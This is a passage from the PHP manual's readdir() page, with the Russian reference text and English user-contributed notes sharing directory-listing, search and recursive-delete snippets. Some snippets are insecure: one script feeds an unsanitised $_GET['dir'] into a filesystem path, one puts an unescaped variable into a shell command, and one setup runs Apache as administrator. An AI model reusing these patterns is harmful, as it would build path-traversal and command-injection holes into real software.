Using this code is fast and instant (you'll have to chop up the output yourself but so be it!)

$out = `dir $dir /B /S`;

If you don't need recursive subdirectories remove the /S from the command - for more details run 'dir /?' on Windows.

Hope this helps somebody in a similar fix!
archipel dot gb at online dot fr 22-Jun-2008 10:20
Here are two versions of the same function to list all files in a directory tree.

The first one is recursive (calls itself while going through subdirectories) :
<?php
function rec_listFiles( $from = '.')
{
    if(! is_dir($from))
        return false;

    $files = array();
    if( $dh = opendir($from))
    {
        while( false !== ($file = readdir($dh)))
        {
            // Skip '.' and '..'
            if( $file == '.' || $file == '..')
                continue;
            $path = $from . '/' . $file;
            if( is_dir($path) )
                $files += rec_listFiles($path);
            else
                $files[] = $path;
        }
        closedir($dh);
    }
    return $files;
}
?>

The second one is iterative (uses less memory) :
<?php
function listFiles( $from = '.')
{
    if(! is_dir($from))
        return false;

    $files = array();
    $dirs = array( $from);
    while( NULL !== ($dir = array_pop( $dirs)))
    {
        if( $dh = opendir($dir))
        {
            while( false !== ($file = readdir($dh)))
            {
                if( $file == '.' || $file == '..')
                    continue;
                $path = $dir . '/' . $file;
                if( is_dir($path))
                    $dirs[] = $path;
                else
                    $files[] = $path;
            }
            closedir($dh);
        }
    }
    return $files;
}
?>
The iterative version should be a little faster most of the time, but the big difference is in the memory usage.

Here is also a profiling function (works in php5 only) :
<?php
function profile( $func, $trydir)
{
    $mem1 = memory_get_usage();
    echo '<pre>-----------------------
Test run for '.$func.'() ...
'; flush();

    $time_start = microtime(true);
    $list = $func( $trydir);
    $time = microtime(true) - $time_start;

    echo 'Finished : '.count($list).' files</pre>';
    $mem2 = memory_get_peak_usage();

    printf( '<pre>Max memory for '.$func.'() : %0.2f kbytes
Running time for '.$func.'() : %0.f s</pre>',
    ($mem2-$mem1)/1024.0, $time);
    return $list;
}
?>
kdouglas at satarah dot com 15-May-2008 04:22
Breadth-first-search (BFS) for a file or directory (vs. Depth-first-search)
http://en.wikipedia.org/wiki/Breadth-first_search

<?php

// Breadth-First Recursive Directory Search, for a File or Directory
// with optional black-list paths and optional callback function.
//
// $root -- is the relative path to the start-of-search directory
// $file -- is the qualified file name: 'name.ext' EX: 'data.xml'
//    (or) $file -- is the target directory name EX: 'xml_files'
// $callback -- is an optional function name and will be passed all
//    matching paths EX: 'my_func', instead of exiting on first match
// $omit -- is an optional array of exclude paths -- relative to root
//    To use $omit but not $callback, pass NULL as the $callback argument
//
// TESTING VALUES FOLLOW ...

function my_func ( $path ) {
  print "<strong>$path</strong><br>\n";
}

$root = '../public_html';
$file = 'data.xml';
$callback = 'my_func';
$omit = array( 'include/img', 'include/css', 'scripts' );

//print breadth_first_file_search ( $root, $file );
//print breadth_first_file_search ( $root, $file, $callback );
//print breadth_first_file_search ( $root, $file, NULL, $omit );
print breadth_first_file_search ( $root, $file, $callback, $omit );

function breadth_first_file_search ( $root, $file, $callback = NULL, $omit = array() ) {
  $queue = array( rtrim( $root, '/' ).'/' ); // normalize all paths
  foreach ( $omit as &$path ) { // &$path Req. PHP ver 5.x and later
    $path = $root.trim( $path, '/' ).'/';
  }
  while ( $base = array_shift( $queue ) ) {
    $file_path = $base.$file;
    if ( file_exists( $file_path ) ) { // file found
      if ( is_callable( $callback ) ) {
        $callback( $file_path ); // callback => CONTINUE
      } else {
        return $file_path; // return file-path => EXIT
      }
    }
    if ( ( $handle = opendir( $base ) ) ) {
      while ( ( $child = readdir( $handle ) ) !== FALSE ) {
        if ( is_dir( $base.$child ) && $child != '.' && $child != '..' ) {
          $combined_path = $base.$child.'/';
          if ( !in_array( $combined_path, $omit ) ) {
            array_push( $queue, $combined_path);
          }
        }
      }
      closedir( $handle );
    } // else unable to open directory => NEXT CHILD
  }
  return FALSE; // end of tree, file not found
}

?>
Peter Hkansson 11-Dec-2007 09:01
Would you like to view your directories in your browser this script might come in handy.

<?php
$sub = ($_GET['dir']);
$path = 'enter/your/directory/here/';
$path = $path . "$sub";
$dh = opendir($path);
$i=1;
while (($file = readdir($dh)) !== false) {
    if($file != "." && $file != "..") {
            if (substr($file, -4, -3) =="."){
            echo "$i. $file <br />";
            }else{
        echo "$i. <a href='?dir=$sub/$file'>$file</a><br />";
          }
        $i++;
    }
}
closedir($dh);
?>
mana at averna dot com 07-Dec-2007 03:02
I was trying to access network drives using this opendir function. I read so many posts saying that it was almost impossible to access a network drive and finally, I found the answer; there are 2 steps to be followed to access a network drive with PHP either on the same machine or another machine.

But first of all, here's the error I was getting:
Warning: opendir(\\server\folder1\sub_folder) [function.opendir]: failed to open dir: No error in C:\wamp\www\PMOT\v0.1\REPORT_MENU\index.php on line 17

Firstly, one must make sure that the folder \\server\folder1\sub_folder can be accessed by a user, let's say USER_TEST with a password PASS_TEST. By setting properties to this folder, one can add this given user with the correct password (USER_TEST with PASS_TEST).

Secondly, the APACHE service must be set-up to take this user into account. If no user is specified, APACHE uses an anonymous user and this is where the problem/error message is coming from. One must go in control panel->administrative tools->services. One will see the list of services and must look for APACHE with Apache/2.X.X in the description. (For Wampserver, it will be called wampapache, and so on!) Right click on that and pop up the properties screen. In the tab LOG ON, there are 2 options: local system account and "this account" which will be a user specified account. This is where one must specify the USER_TEST and PASS_TEST.

Following these steps worked perfectly for me but if either the folder privileges or apache log on user is disabled, then I get the initial aforementioned error message.

Anyways, I hope this can help out someone!

Cheers!

Marc
MetaNull 04-Oct-2007 11:39
An other way to recursively walk a directory and it's content, applying a callback to each file.

Exemple: Update the last modification time of each file in a folder

<?php

clearstatcache();

$sourcepath = "C:/WINDOWS/TEMP";

// Replace \ by / and remove the final / if any
$root = ereg_replace( "/$", "", ereg_replace( "[\\]", "/", $sourcepath ));
// Touch all the files from the $root directory
if( false === m_walk_dir( $root, "m_touch_file", true )) {
    echo "'{$root}' is not a valid directory\n";
}

// Walk a directory recursivelly, and apply a callback on each file
function m_walk_dir( $root, $callback, $recursive = true ) {
    $dh = @opendir( $root );
    if( false === $dh ) {
        return false;
    }
    while( $file = readdir( $dh )) {
        if( "." == $file || ".." == $file ){
            continue;
        }
        call_user_func( $callback, "{$root}/{$file}" );
        if( false !== $recursive && is_dir( "{$root}/{$file}" )) {
            m_walk_dir( "{$root}/{$file}", $callback, $recursive );
        }
    }
    closedir( $dh );
    return true;
}

// if the path indicates a file, run touch() on it
function m_touch_file( $path ) {
    echo $path . "\n";
    if( !is_dir( $path )) {
        touch( $path );
    }
}

?>
lolwut 13-May-2007 06:00
I sometimes find this useful. Hope you will too.

<?php
//list_by_ext: returns an array containing an alphabetic list of files in the specified directory ($path) with a file extension that matches $extension

function list_by_ext($extension, $path){
    $list = array(); //initialise a variable
    $dir_handle = @opendir($path) or die("Unable to open $path"); //attempt to open path
    while($file = readdir($dir_handle)){ //loop through all the files in the path
        if($file == "." || $file == ".."){continue;} //ignore these
        $filename = explode(".",$file); //seperate filename from extenstion
        $cnt = count($filename); $cnt--; $ext = $filename[$cnt]; //as above
        if(strtolower($ext) == strtolower($extension)){ //if the extension of the file matches the extension we are looking for...
            array_push($list, $file); //...then stick it onto the end of the list array
        }
    }
    if($list[0]){ //...if matches were found...
    return $list; //...return the array
    } else {//otherwise...
    return false;
    }
}

//example usage
if($win32_exectuables = list_by_ext("exe", "C:\WINDOWS")){
    var_dump($win32_exectuables);
} else {
    echo "No windows executables found :(\n";
}

?>
Michael mt1955 (a) gmail.com 11-May-2007 07:59
# simple directory walk with callback function

<?php
function callbackDir($dir)
{
   # do whatever you want here
   echo "$dir\n";
}

function walkDir($dir,$fx)
{
  $arStack = array();
  $fx($dir);
  if( ($dh=opendir($dir)) )
  { while( ($file=readdir($dh))!==false )
    { if( $file=='.' || $file=='..' ) continue;
      if( is_dir("$dir/$file") )
      { if( !in_array("$dir/$file",$arStack) ) $arStack[]="$dir/$file";
      }
    }
    closedir($dh);
  }
  if( count($arStack) )
  { foreach( $arStack as $subdir )
    { walkDir($subdir,$fx);
    }
  }
}

walkDir($root,callBackDir);
?>
NerdyDork 08-Feb-2007 08:36
Here is a snippet to create a site map of all html files in a folder:

<?php
    // read all html file in the current directory
    if ($dh = opendir('./')) {
        $files = array();
        while (($file = readdir($dh)) !== false) {
            if (substr($file, strlen($file) - 5) == '.html') {
                array_push($files, $file);
            }
        }
        closedir($dh);
    }

    // Sort the files and display
    sort($files);
    echo "<ul>\n";
    foreach ($files as $file) {
        $title = Title($file);
        echo "<li><a href=\"$file\" title=\"$title\">$title</a></li>\n";
    }
    echo "</ul>\n";

    // Function to get a human readable title from the filename
    function Title($filename) {
        $title = substr($filename, 0, strlen($filename) - 5);
        $title = str_replace('-', ' ', $title);
        $title = ucwords($title);
        return $title;
    }
?>
frogstarr78 at yahoo dot com 21-Jan-2007 12:30
Here's a function that will recrusively turn a directory into a hash of directory hashes and file arrays, automatically ignoring "dot" files.

<?php
function hashify_directory($topdir, &$list, $ignoredDirectories=array()) {
    if (is_dir($topdir)) {
        if ($dh = opendir($topdir)) {
            while (($file = readdir($dh)) !== false) {
                if (!(array_search($file,$ignoredDirectories) > -1) && preg_match('/^\./', $file) == 0) {
                    if (is_dir("$topdir$file")) {
                        if(!isset($list[$file])) {
                            $list[$file] = array();
                        }
                        ksort($list);
                        hashify_directory("$topdir$file/", $list[$file]);
                    } else {
                        array_push($list, $file);
                    }
                }
            }
            closedir($dh);
        }
    }
}
?>

e.g.
<?php
$public_html["StudentFiles"] = array();
hashify_directory("StudentFiles/", $public_html["StudentFiles"]);
?>
on the directory structure:
./StudentFiles/tutorial_01/case1/file1.html
./StudentFiles/tutorial_01/case1/file2.html
./StudentFiles/tutorial_02/case1/file1.html
./StudentFiles/tutorial_02/case2/file2.html
./StudentFiles/tutorial_03/case1/file2.html
etc...
becomes:
<?php
print_r($public_html);
/*
outputs:
array(
  "StudentFiles" => array (
        "tutorial_01" => array (
              "case1" => array( "file1.html", "file2.html")
        ),
        "tutorial_02" => array (
              "case1" => array( "file1.html"),
              "case2" => array( "file2.html")
        ),
       "tutorial_03" => array (
              "case1" => array( "file2.html")
       )
  )
)
*/
?>
I'm using it to create a tree view of a directory.
phpguy at mailstop dot yogelements dot omitme dot com 13-Dec-2006 01:40
An issue that I ran into is that opendir() could care less if you've got server authentication set on sub directories and so any such authentication is bypassed completely when accesses in this way. I did solve it for my application of a pretty file manager, by redirecting to all sub directories thusly:
$fdir = "./subdirectory_I_want_to_visit/";
if ($fdir != './') { //basically where we are or the parent
    //redirect the browser to force authentication check on any subdirectories
    header("Location: http://my.domain.com".dirname($_SERVER["PHP_SELF"]).substr($fdir,2));
    exit;
} else {
    $dir = opendir($fdir);
}
tim2005 13-May-2006 05:04
Hello,

A friend of mine is running a webhost, I think i found a security leak with this script:

<?php
function select_files($dir, $label = "", $select_name, $curr_val = "", $char_length = 30) {
    $teller = 0;
    if ($handle = opendir($dir)) {
        $mydir = ($label != "") ? "<label for=\"".$select_name."\">".$label."</label>\n" : "";
        $mydir .= "<select name=\"".$select_name."\">\n";
        $curr_val = (isset($_REQUEST[$select_name])) ? $_REQUEST[$select_name] : $curr_val;
        $mydir .= ($curr_val == "") ? "  <option value=\"\" selected>...\n" : "<option value=\"\">...\n";
        while (false !== ($file = readdir($handle))) {
            $files[] = $file;
        }
        closedir($handle);
        sort($files);
        foreach ($files as $val) {
            if (is_file($dir.$val)) { // show only real files (ver. 1.01)
                $mydir .= "    <option value=\"".$val."\"";
                $mydir .= ($val == $curr_val) ? " selected>" : ">";
                $mydir .= (strlen($val) > $char_length) ? substr($val, 0, $char_length)."...\n" : $val."\n";
                $teller++;
            }
        }
        $mydir .= "</select>";
    }
    if ($teller == 0) {
        $mydir = "No files!";
    } else {
        return $mydir;
    }
}

echo select_files("C:/winnt/", "", "", "", "60");
?>

Now i can see hist files in his windows dir. Is this a leak? and is it fixable? I'll report this as bug too!

Tim2005
tozeiler 15-Apr-2006 01:34
"opendir" said:
------------------------------------------------------------------

23-Jan-2006 08:04
I Just wanted a directory list and a clickable link to download the files

<snip>
------
<?
echo ("<h1>Directory Overzicht:</h1>");

function getFiles($path) {

<snip complicated function contents>

------------------------------------------------------------------
Here's a more straightforward way to linkify $path/files:

<?php

echo "<h1>Directory Overzicht:</h1>";

$dh = opendir($path);
while (($file = readdir($dh)) !== false) {
    echo "<a href='$path/$file'>$file</a><br />";
}
closedir($dh);

?>
23-Jan-2006 07:04
I Just wanted a directory list and a clickable link to download the files because my plesk server does not give me this function. I edited the script a little bit.

Many thanks from a script-noob

------
<?
echo ("<h1>Directory Overzicht:</h1>");

function getFiles($path) {
   //Function takes a path, and returns a numerically indexed array of associative arrays containing file information,
   //sorted by the file name (case insensitive).  If two files are identical when compared without case, they will sort
   //relative to each other in the order presented by readdir()
   $files = array();
   $fileNames = array();
   $i = 0;

   if (is_dir($path)) {
       if ($dh = opendir($path)) {
           while (($file = readdir($dh)) !== false) {
               if ($file == "." || $file == "..") continue;
               $fullpath = $path . "/" . $file;
               $fkey = strtolower($file);
               while (array_key_exists($fkey,$fileNames)) $fkey .= " ";
               $a = stat($fullpath);
               $files[$fkey]['size'] = $a['size'];
               if ($a['size'] == 0) $files[$fkey]['sizetext'] = "-";
               else if ($a['size'] > 1024) $files[$fkey]['sizetext'] = (ceil($a['size']/1024*100)/100) . " K";
               else if ($a['size'] > 1024*1024) $files[$fkey]['sizetext'] = (ceil($a['size']/(1024*1024)*100)/100) . " Mb";
               else $files[$fkey]['sizetext'] = $a['size'] . " bytes";
               $files[$fkey]['name'] = $file;
               $files[$fkey]['type'] = filetype($fullpath);
               $fileNames[$i++] = $fkey;
           }
           closedir($dh);
       } else die ("Cannot open directory:  $path");
   } else die ("Path is not a directory:  $path");
   sort($fileNames,SORT_STRING);
   $sortedFiles = array();
   $i = 0;
   foreach($fileNames as $f) $sortedFiles[$i++] = $files[$f];

   return $sortedFiles;
}

$files = getFiles("./");
foreach ($files as $file) print "&nbsp;&nbsp;&nbsp;&nbsp;<b><a href=\"$file[name]\">$file[name]</a></b><br>\n";
?>
mstabile75 at gmail dot com 28-Dec-2005 08:26
In my previous post I ran into a problem with the "global" definition of $directorylist.  If I called the function more than once on the same page it would combine the file lists. I looked at Lasse Dalegaard's example and used the following solution.

remove global definition
     global $directorylist;

REPLACE
<?
if ((($maxlevel) == "all") or ($maxlevel > $level)) {
   filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
}
?>
WITH
<?
if ((($maxlevel) == "all") or ($maxlevel > $level)) {
    $list2 = filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
    if(is_array($list2)) {
        $directorylist = array_merge($directorylist, $list2);
    }
}
?>
mstabile75 at gmail dot com 27-Dec-2005 07:04
<?php
/* The below function will list all folders and files within a directory
It is a recursive function that uses a global array.  The global array was the easiest
way for me to work with an array in a recursive function
*This function has no limit on the number of levels down you can search.
*The array structure was one that worked for me.
ARGUMENTS:
$startdir => specify the directory to start from; format: must end in a "/"
$searchSubdirs => True/false; True if you want to search subdirectories
$directoriesonly => True/false; True if you want to only return directories
$maxlevel => "all" or a number; specifes the number of directories down that you want to search
$level => integer; directory level that the function is currently searching
*/
function filelist ($startdir="./", $searchSubdirs=1, $directoriesonly=0, $maxlevel="all", $level=1) {
    //list the directory/file names that you want to ignore
    $ignoredDirectory[] = ".";
    $ignoredDirectory[] = "..";
    $ignoredDirectory[] = "_vti_cnf";
    global $directorylist;    //initialize global array
    if (is_dir($startdir)) {
        if ($dh = opendir($startdir)) {
            while (($file = readdir($dh)) !== false) {
                if (!(array_search($file,$ignoredDirectory) > -1)) {
                 if (filetype($startdir . $file) == "dir") {
                       //build your directory array however you choose;
                       //add other file details that you want.
                       $directorylist[$startdir . $file]['level'] = $level;
                       $directorylist[$startdir . $file]['dir'] = 1;
                       $directorylist[$startdir . $file]['name'] = $file;
                       $directorylist[$startdir . $file]['path'] = $startdir;
                       if ($searchSubdirs) {
                           if ((($maxlevel) == "all") or ($maxlevel > $level)) {
                               filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
                           }
                       }
                   } else {
                       if (!$directoriesonly) {
                           //if you want to include files; build your file array
                           //however you choose; add other file details that you want.
                         $directorylist[$startdir . $file]['level'] = $level;
                         $directorylist[$startdir . $file]['dir'] = 0;
                         $directorylist[$startdir . $file]['name'] = $file;
                         $directorylist[$startdir . $file]['path'] = $startdir;
      }}}}
           closedir($dh);
}}
return($directorylist);
}
$files = filelist("./",1,1); // call the function
foreach ($files as $list) {//print array
    echo "Directory: " . $list['dir'] . " => Level: " . $list['level'] . " => Name: " . $list['name'] . " => Path: " . $list['path'] ."<br>";
}?>
chrys at mytechjournal dot com 10-Dec-2005 11:16
I wrote a function to recursively delete files from a starting directory.  I had to do this because my server doesn't allow me to delete files that apache writes because I don't have permissions, so... I let apache do the work.

<?php
$dir = "/path/to/base/dir";

recursive_delete($dir);

function recursive_delete( $dir )
{
        if (is_dir($dir)) {
           if ($dh = opendir($dir)) {
               while (($file = readdir($dh)) !== false ) {
                        if( $file != "." && $file != ".." )
                        {
                                if( is_dir( $dir . $file ) )
                                {
                                        echo "Entering Directory: $dir$file<br/>";
                                        recursive_delete( $dir . $file . "/" );
                                        echo "Removing Directory: $dir$file<br/><br/>";
                                        rmdir( $dir . $file );
                                }
                                else
                                {
                                        echo "Deleting file: $dir$file<br/>";
                                        unlink( $dir . $file );
                                }
                        }
               }
               closedir($dh);
           }
        }
}
?>
05-Oct-2005 09:40
This function sorts files by name as strings, but without regard to case.  It also does some handy string formatting of the file size information.

<?
function getFiles($path) {
    //Function takes a path, and returns a numerically indexed array of associative arrays containing file information,
    //sorted by the file name (case insensitive).  If two files are identical when compared without case, they will sort
    //relative to each other in the order presented by readdir()
    $files = array();
    $fileNames = array();
    $i = 0;

    if (is_dir($path)) {
        if ($dh = opendir($path)) {
            while (($file = readdir($dh)) !== false) {
                if ($file == "." || $file == "..") continue;
                $fullpath = $path . "/" . $file;
                $fkey = strtolower($file);
                while (array_key_exists($fkey,$fileNames)) $fkey .= " ";
                $a = stat($fullpath);
                $files[$fkey]['size'] = $a['size'];
                if ($a['size'] == 0) $files[$fkey]['sizetext'] = "-";
                else if ($a['size'] > 1024) $files[$fkey]['sizetext'] = (ceil($a['size']/1024*100)/100) . " K";
                else if ($a['size'] > 1024*1024) $files[$fkey]['sizetext'] = (ceil($a['size']/(1024*1024)*100)/100) . " Mb";
                else $files[$fkey]['sizetext'] = $a['size'] . " bytes";
                $files[$fkey]['name'] = $file;
                $files[$fkey]['type'] = filetype($fullpath);
                $fileNames[$i++] = $fkey;
            }
            closedir($dh);
        } else die ("Cannot open directory:  $path");
    } else die ("Path is not a directory:  $path");
    sort($fileNames,SORT_STRING);
    $sortedFiles = array();
    $i = 0;
    foreach($fileNames as $f) $sortedFiles[$i++] = $files[$f];

    return $sortedFiles;
}

$files = getFiles("C:");
foreach ($files as $file) print "$file[name]<br>\n";
?>
Lasse Dalegaard 21-May-2005 12:25
I made a function for finding all files in a specified directory and all subdirectories. It can be quite usefull when searching in alot of files in alot subdirectories. The function returns an array with the path of all the files found.

<?
function getFiles($directory) {
    // Try to open the directory
    if($dir = opendir($directory)) {
        // Create an array for all files found
        $tmp = Array();

        // Add the files
        while($file = readdir($dir)) {
            // Make sure the file exists
            if($file != "." && $file != ".." && $file[0] != '.') {
                // If it's a directiry, list all files within it
                if(is_dir($directory . "/" . $file)) {
                    $tmp2 = getFiles($directory . "/" . $file);
                    if(is_array($tmp2)) {
                        $tmp = array_merge($tmp, $tmp2);
                    }
                } else {
                    array_push($tmp, $directory . "/" . $file);
                }
            }
        }

        // Finish off the function
        closedir($dir);
        return $tmp;
    }
}

// Example of use
print_r(getFiles('.')); // This will find all files in the current directory and all subdirectories
?>
iamnotanerd 29-Mar-2005 09:38
Here is a snippet of the code that I created to search for a file..recursively open the directories and search for a match..

<?php
function search($target, $directory){

    if(is_dir($directory)){
        $direc = opendir($directory);
        while(false !== ($file = readdir($direc))){

            if($file !="." && $file != ".."){

                if(is_file($directory."/".$file)){
                    if(preg_match("/$target/i", $file)){
                                            echo "<a href=\"$directory/$file\">$file</a><br>";
                                        }
                }else if(is_dir($directory."/".$file)){
                    search($target,$directory."/".$file);

                }

            }
        }
        closedir($direc);
    }

    return ;
}
?>
sandy at montana-riverboats dot com 29-Sep-2004 09:08
<?php
/*
** This recursive file lister only slurps in one page at time,
** so it doesn't take forever to load when operating over
** a large system.....comes with an "Up" link for every page too.
*/

$PHP_SELF = $_SERVER['PHP_SELF'];
$DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT'];
# activate the next line (and deactivate the last) to
# use this script in a $DOCUMENT_ROOT/~anybody
# environment.
#$DOCUMENT_ROOT="/home/sandy/public_html/";

$tdir = $_GET['dir'];
echo "tdir==$tdir<br>";
$tparent_path = $_GET['parent_path'];
$dbg = $_GET['dbg'];

if(!strstr($tdir, $DOCUMENT_ROOT))
  $tdir = getcwd();
if(!strstr($tparent_path, $DOCUMENT_ROOT))
  $tparent_path = $tdir;

if (!isset ($tdir))
  {
    $dir = getcwd ();
  }
else
  $dir = $tdir;

if (!isset ($tparent_path))
  {
    $parent_path = $dir;
  }
else
  $parent_path = $tparent_path;

echo "<br>";
if (!isset ($tdir))
  {
    $upurl = $PHP_SELF;
  }
else
  {
    if ($parent_path == $DOCUMENT_ROOT)
      $parent_parent_path = $parent_path;
    else
      $parent_parent_path = dirname ($parent_path);
    $upurl = $PHP_SELF."?dir=".$parent_path."&parent_path=".
                  $parent_parent_path;
  }

if($dbg==1)
{
  echo "PHP_SELF: $PHP_SELF<br>\n";
  echo "DOCUMENT_ROOT: $DOCUMENT_ROOT<br>\n";
  echo "dir: $dir<br>\n";
  echo "parent_path: $parent_path<br>\n";
  echo "upurl: $upurl<br>\n";
}

echo "<a href=\"$upurl\"> <h3>Up</h3> </a>\n";
echo "<h2>$dir</h2>\n";

create_tree ($dir, $parent_path);

function
urlFromPath ($path)
{
  global $PHP_SELF;
  global $DOCUMENT_ROOT;
  $prefix = "";
  if (substr ($path, 0, 1) != "/")
    $prefix = "/";
  $url = $prefix.ereg_replace ($DOCUMENT_ROOT, "", $path);
  return $url;
}

function
create_tree ($dir, $parent_path)
{
  if ($handle = opendir ($dir))
    {
      $i = 0;
      while (false !== ($file = @readdir ($handle)))
    {
      if ($file != "." && $file != "..")
        {
          $list[$i] = $file;
          $i++;
        }
    }
      $dir_length = count ($list);
      echo "<ul>";
      for ($i = 0; $i < $dir_length; $i++)
    {
      global $PHP_SELF;
      global $DOCUMENT_ROOT;
      $label = $list[$i];
      $test = $dir."/".$label;
      $alink = $dir."/".ereg_replace(" ","%20",$label);
      if (!strstr ($PHP_SELF, $label))
        {
          if (is_dir ($test))
        {
          $tmp = $PHP_SELF. "?dir=".$alink."&parent_path=".$dir;
          $url = ereg_replace(" ", "%20", $tmp);
                  echo "$url<br>\n";
          echo "<a href=\"$url\"><b>$label</b>/</a><br>\n";
        }
          else
        {
          $link = urlFromPath ($alink);

          $label = $list[$i];
          echo
            "<a href=\"$link\">".$label."</a><br>\n";
        }
        }
    }
      echo "</ul>";
      closedir ($handle);
    }
}

?>
micklweiss at gmx dot net 19-Nov-2003 01:12
I ran into a little snag in example 1. opendir() lists files by the last time the file was accessed. I was trying to print the files numerically in a directory.

Solution: Use scandir() instead (php5) or store the files in an array and sort it.

Hope this helps someone.

- Mick

(o> Web / software developer
( )     UNIX Systems Admin
---   ~ www.mickweiss.com ~
info at 4design dot nu 22-Aug-2003 06:31
In addition to notes above about IIS & PHP reading network shares, here's one solution that works better for me.

in the management console I created a folder where my "read_dir" script runs. click on properties then select the security tab. here you can set the anonymous account to the standard IUSR_$computername% , BUT.. in this case I chose another account that I set up for reading my shares. (make sure login name and password match the credantials you set on the remote machin ;-))

I use this to read a dir and it's contents into a searchable database. and it works like a charm...
Matt Grimm 06-Jun-2003 01:25
Thought I could help clarify something with accessing network shares on a Windows network (2000 in this case), running PHP 4.3.2 under Apache 2.0.44.

However you are logged into the Windows box, your Apache service must be running under an account which has access to the share.  The easiest (and probably least safe) way for me was to change the user for the Apache service to the computer administrator (do this in the service properties, under the "Log On" tab).  After restarting Apache, I could access mapped drives by their assigned drive letter ("z:\\") or regular shares by their UNC path ("\\\\shareDrive\\shareDir").


Получает элемент каталога по его дескриптору

  • « opendir
  • rewinddir »
  • PHP Manual
  • Функции для работы с каталогами
  • Получает элемент каталога по его дескриптору

readdir

(PHP 4, PHP 5, PHP 7, PHP 8)

readdir — Получает элемент каталога по его дескриптору

Описание

readdir(?resource $dir_handle = null): string|false

Возвращает имя следующего по порядку элемента каталога. Элементы возвращаются в том порядке, в котором они хранятся в файловой системе.

Список параметров

dir_handle

Дескриптор каталога (resource), ранее открытый функцией opendir(). Если дескриптор каталога не указан, используется последний дескриптор, открытый функцией opendir().

Возвращаемые значения

Возвращает имя элемента каталога в случае успешного выполнения или false в случае возникновения ошибки.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Список изменений

Версия | Описание
8.0.0 | dir_handle теперь допускает значение null.

Примеры

Пример #1 Вывести список всех элементов каталога

Обратите внимание на способ проверки значения, возвращаемого функцией readdir() в приведённом ниже примере. В этом примере осуществляется явная проверка значения на идентичность (выражения идентичны, когда они равны и являются значениями одного типа - за более подробной информацией обратитесь к главе "Операторы сравнения") значению false, поскольку в ином случае любой элемент каталога, чьё имя может быть преобразовано к false, остановит цикл (например, элемент с именем "0").

<?php

if ($handle = opendir('/path/to/files')) {
echo "Дескриптор каталога: $handle\n";
echo "Элементы:\n";

/* Именно такой способ чтения элементов каталога является правильным. */
while (false !== ($entry = readdir($handle))) {
echo "$entry\n";
}

/* Это НЕВЕРНЫЙ способ обхода каталога. */
while ($entry = readdir($handle)) {
echo "$entry\n";
}

closedir($handle);
}
?>

Пример #2 Получить список элементов в текущем каталоге и отбросить элементы с именами . и ..

<?php
if ($handle = opendir('.')) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
echo "$entry\n";
}
}
closedir($handle);
}
?>

Смотрите также

  • is_dir() - Определяет, является ли имя файла директорией
  • glob() - Находит файловые пути, совпадающие с шаблоном
  • opendir() - Открывает дескриптор каталога
  • scandir() - Получает список файлов и каталогов, расположенных по указанному пути

User Contributed Notes

synnus at gmail dot com 04-Nov-2019 08:56
<?php

 // if( $entry[0] != '.' )  best for ' . ' and ' .. '

            $d = dir( '.' );
            echo "Pointeur : " . $d->handle . "\n";
            echo "Chemin : " . $d->path . "\n";
            while (false !== ($entry = $d->read())) {
               if($entry[0] != '.') {
                   echo $entry, PHP_EOL;
               }
            }
            $d->close();

?>
Mark Simon 09-Oct-2019 05:44
Regarding the warning:

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE.

Of course, this means that if you use:

<?php
    if($entry = readdir($handle) == false) ...
?>

or

<?php
    while($entry = readdir($handle)) ...
?>

you may get a false false, as it were.

As far as I can tell, the only time this would actually occur is if you encounter an entry of 0.

According to

https://www.php.net/manual/en/language.types.boolean.php#language.types.boolean.casting

this appears to be the only string which will evaluate to false.
Mark Simon 26-Sep-2019 01:05
PHP includes and alternative boolean operators whose precedence is below assignment. This means that an expression of the form

<?php
    if(($a = something()) && $a !== false) ... ;
?>

can be written as

<?php
    if($a = something() and $a !== false) ... ;
?>

In this case, the loop can be written as:

<?php
    while ($entry = readdir($handle) and $entry !== false) {
        //    etc
    }
?>
craig dot edwards at comech dot co dot uk 05-Jun-2018 01:16
Please be aware that readdir() and opendir() etc will return sorted directory listings automatically on some operating systems, whilst others it will not.

On later versions of windows, you can usually be guaranteed alphabetically sorted file listings from readdir(), and on Linux there is no such guarantee. If you require any particular sort order you should read the results to an array and use asort() or rsort() on it, or similar, to get the results into the order you need.
osamahussain897 at gmail dot com 27-Jan-2018 08:40
<?php
if ($handle = opendir('../')) {

    while($entry = readdir($handle)){
        $ent[] = $entry;
    }

    echo $ent[0]; // Access To Custom Directory or File;
    closedir($handle);
}
?>
sergio dot barrios at upr dot edu dot cu 29-Jul-2016 06:03
Find a file or folder within a directory. Say we want will loop n times by all subdirectories of a root directory and find a particular folder or file and know your address.

In my case I needed to find each existing file in a directory metadata.opf a Calibre library and take all the data for each document this, if we consider that this directory had 20,000 folders author is a task that is humanly impossible . This recursive algorithm achieves do my homework. I hope it will help you.

<?php

$root = '../Classes';
$search_parameter = "CachedObjectStorageFactory.php";

//if we call the function spider as spider($root);
//will show all the directory content including subdirectories

//if we call the function spider as spider('../Classes', 'Shared');
//and will show the address of the directory

spider($root, $search_parameter);
closedir();

function spider($dir,$fileName=""){

    $handle = opendir($dir);

    while($file= readdir($handle)){

       if($file != "." && $file != ".."){

          if($fileName=="")
             echo $dir."/".$file."<br>";
        else
           if($file == $fileName)
            echo $dir."/".$file."<br>";

        if(!is_file($dir."/".$file))
            spider($dir."/".$file,$fileName);

      }
   }

}

?>
garvitdelhi at gmail dot com 31-Aug-2014 06:10
this function recurrsively goes to a particular depth and stops after the depth is reached.

function read_path($root = '.', $depth = 1) {
        if($depth == 0) {
            return;
        }
        $last_letter  = $root[strlen($root)-1];
          $root  = ($last_letter == '\\' || $last_letter == '/') ? $root : $root.DIRECTORY_SEPARATOR;
          $files  = array('files'=>array(), 'dirs'=>array());
          if ($handle = opendir($root)) {
              while (false !== ($file = readdir($handle))) {
                if ($file == '.' || $file == '..') {
                      continue;
                }
                $file  = $root.$file;
                if (is_dir($file)) {
                      $directory_path = $file.DIRECTORY_SEPARATOR;
                    $files['dirs'][$directory_path]  = NULL;
                } elseif (is_file($file)) {
                    $files['files'][]  = $file;
                }
              }
              closedir($handle);
        }
